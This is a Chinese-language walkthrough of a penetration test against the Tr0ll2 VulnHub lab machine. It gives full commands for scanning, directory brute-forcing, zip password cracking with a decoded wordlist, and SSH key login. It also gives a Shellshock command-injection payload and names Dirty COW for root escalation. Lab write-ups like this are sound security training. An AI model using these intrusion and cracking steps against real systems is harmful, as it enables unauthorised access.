本文记录了troll2靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。
靶机下载链接:https://download.vulnhub.com/tr0ll/Tr0ll2_vbox.rar
测试时间:2026/3/31
注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501
一.概述
- 查询攻击机(kali)IP:
bash
ifconfig

得到攻击机(kali)IP:192.168.253.166
- 查询靶机IP:
bash
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.181
二. 信息收集
-
- 扫描全部端口
bash
nmap -A -p 1-64000 192.168.253.181

得到开放端口有
21:ftp服务
22:用于ssh登录
80:网页默认的 HTTP 端口
-
- Web网页目录扫描:
bash
dirb http://192.168.253.181 或
dirsearch -u http://192.168.253.181 -x 404,403,400

-
- web指纹识别
bash
whatweb http://192.168.253.181

-
- 访问FTP服务
连接FTP
- 访问FTP服务
bash
ftp 192.168.253.181
输入用户名:anonymous 密码空尝试匿名登录失败

尝试用弱密码admin和Troll也都登录失败,那我们只能去寻找其他信息了
-
- 访问网页查看信息
访问http://192.168.253.181/

又是这个熟悉的图片,熟悉的嘲讽
访问robots.txt

好家伙这么多,那我们就爆破看看哪些可以访问,把这些路径去掉前面的/保存到一个文件

我这里命名为paths.txt,然后进行爆破
- 访问网页查看信息
bash
gobuster dir -u http://192.168.253.181 -w paths.txt -x '' -t 20
或者
bash
wfuzz -c -z file,paths.txt http://192.168.253.181/FUZZ

我们依次访问301状态码目录看看重定向到哪里

熟悉的嘲讽表情包,这作者挺皮啊,访问了一下全是这个表情包,不是我这么大费周章就为了看你这个表情包吗...
不过为了不错过可能的信息我们把这些图片和初始页面的图片都下载下来检查,注意这四个网址的图片都要下载下来,他们看着一样实际可能不一样

我们先用strings查看字符串
bash
strings tr0ll_again.jpg
strings cat_the_troll.jpg
strings cat_the_troll1.jpg
strings cat_the_troll2.jpg
strings cat_the_troll3.jpg
这里我发现这个文件名的Troll不对劲呢,怎么第一个文件名是数字0,其他是字母o,不知道是作者打错还是故意为之,难道是FTP的用户和密码?去试了一下用户名和密码还真是Tr0ll

里面有一个压缩文件用get lmao.zip把它弄到kali
我们尝试解压得到的压缩文件
bash
unzip lmao.zip

发现需要密码
我们回到刚才的查看图片字符串

看到第二个图片时得到了提示,这个图片对应的目录是dont_bother/,另外三个看起来一样的图片就没有这个提示
所以我们访问http://192.168.253.181/y0ur_self/

打开他给的文件

得到一大串密文,看起来是base64密文,把文件下载到kali进行解码
bash
cat answer.txt | base64 -d

得到几百行解密后的数据,我们用这些数据对压缩文件密码进行爆破
把解密结果按行输出到pass.txt
bash
while read line; do echo $line | base64 -d; echo; done < answer.txt > pass.txt
然后清洗字典防止有乱码和空行
bash
cat pass.txt | tr -d '\r' | sed '/^$/d' > clean_pass.txt
然后就可以进行爆破了
bash
fcrackzip -u -D -p clean_pass.txt lmao.zip

得到密码,我们就可以进行解压得到文件noob
看看是什么内容
bash
cat noob

一个私钥,我们尝试ssh登录
先赋予权限
bash
chmod 600 noob
然后尝试登录
bash
ssh -i noob noob@192.168.253.181

提示说算法被客户端禁用了,我们换成
bash
ssh -i noob noob@192.168.253.181 -o PubkeyAcceptedKeyTypes=+ssh-rsa

成功是成功了,不过输出:TRY HARDER LOL! 意思是再努力点哈哈...又被这作者嘲讽了查了下资料可以用shellshock漏洞登录
bash
ssh -i noob noob@192.168.253.181 -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'

登录成功
三. 漏洞发现与利用
Web漏洞
漏洞类型:敏感信息泄露漏洞和shellshock漏洞
利用过程:
- 通过目录下图片得到base64加密字典
- 通过FTP服务得到压缩包,然后用字典爆破成功解压
- 利用解压的文件和shellshock漏洞成功ssh登录
四. 权限提升
获得一个交互性更好的bash
bash
python -c 'import pty; pty.spawn("/bin/bash")'
用id或whoami查看登录用户

查看内核版本
bash
uname -a

这个内核版本可以直接用脏牛提权
bash
searchsploit dirty cow

具体步骤就不详细说了,可参考https://blog.csdn.net/uhszjhshdjsjsj/article/details/159208626?spm=1011.2415.3001.5331
五.总结与反思
本次测试主要难点:
-
robots.txt 目录爆破与信息关联:从大量 Disallow 目录中识别出有效路径,并发现图片中的隐藏提示(dont_bother 图片含 y0ur_self 目录)。
-
Base64 字典生成与压缩包密码破解:将 answer.txt 解码后作为字典,使用 fcrackzip 成功爆破 lmao.zip,得到 SSH 私钥。
-
SSH 登录与 Shellshock 利用:私钥登录失败,需指定 -o PubkeyAcceptedKeyTypes=+ssh-rsa,并利用 Shellshock 漏洞(() { :;}; /bin/bash)绕过限制获得 shell。
-
内核提权:使用 Dirty Cow漏洞提权至 root。
学到的技巧:
- 图片隐写分析:学会用 strings 从图片中提取隐藏文本
- 字典处理与爆破:掌握 base64 解码、文本清洗及 fcrackzip 爆破压缩包密码的方法。
- Shellshock 漏洞利用:通过环境变量注入执行任意命令
- 脏牛提权:熟悉经典内核漏洞的利用流程
该靶机漏洞总结:
本次渗透入口为 80 端口 Web 服务的信息泄露(robots.txt 和图片),通过分析获得 FTP 凭据(Tr0ll),下载压缩包并破解密码得到 SSH 私钥。利用 Shellshock 漏洞获得 shell,最终通过 Dirty Cow 内核漏洞 提权至 root。